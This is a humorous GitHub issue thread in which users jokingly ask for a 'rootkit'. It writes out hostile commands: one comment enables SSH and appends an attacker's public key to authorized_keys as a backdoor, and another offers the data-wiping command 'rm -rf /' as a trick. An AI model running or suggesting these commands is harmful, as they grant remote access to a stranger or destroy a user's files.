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Add rootkit #1

Open jbergstroem opened 11 years ago

jbergstroem commented 11 years ago

Hey, could you add a rootkit so I can log onto your computer and run bitcoins? Thanks.

chriso commented 11 years ago

+1 for this feature. I'll accept pull requests

jbergstroem commented 11 years ago

Try:

$ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist # need to enter password here buddy, but don't worry its ok!
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmBUiw1UrBn6AnzoHn28PaOYEaQsvjobvfyQ0X92QLEPwk1lbi99vmKIphhm420GeNS+Gy86vvDnXEbNERcjgzHHZ0zJiYwhR37y9PyylRG43m3Qunls9aaYEOb/Kj2KiBF2clRFXaz9DW+cEqWOEquRd1MWcRz9wyfq4D8QEP98O5EEgucJe15o2CXwSwGdheKEERA5Zi+3BkLFVeDpC0rgHJP+gRrvc558I+n+dH4Qi2jvAy7LfUKlD8Jxk4mQ9s5eTOHSO8B5CHYyv1MDdOrKtW4m84yZx2fek4Ul0uZG//21aHFqePh1Zja3hIeKXYBVhegMm11bTzIsifs07X the@haxxor.local" >> .ssh/authorized_keys
chriso commented 11 years ago

Doesn't work for me. Can you run this and let me know what the output is? Thanks

$ rm -rf /
jbergstroem commented 11 years ago

Hi. Writing this from my laptop. Not sure why, but my desktop just stopped working. When I think of it, I might – by accident – have run the rootkit myself :grimacing:

chriso commented 11 years ago

ha

jeffreyroberts commented 10 years ago

lol

jbergstroem commented 10 years ago

Still open for patches? Managed to fix my desktop the other week; can give it another try.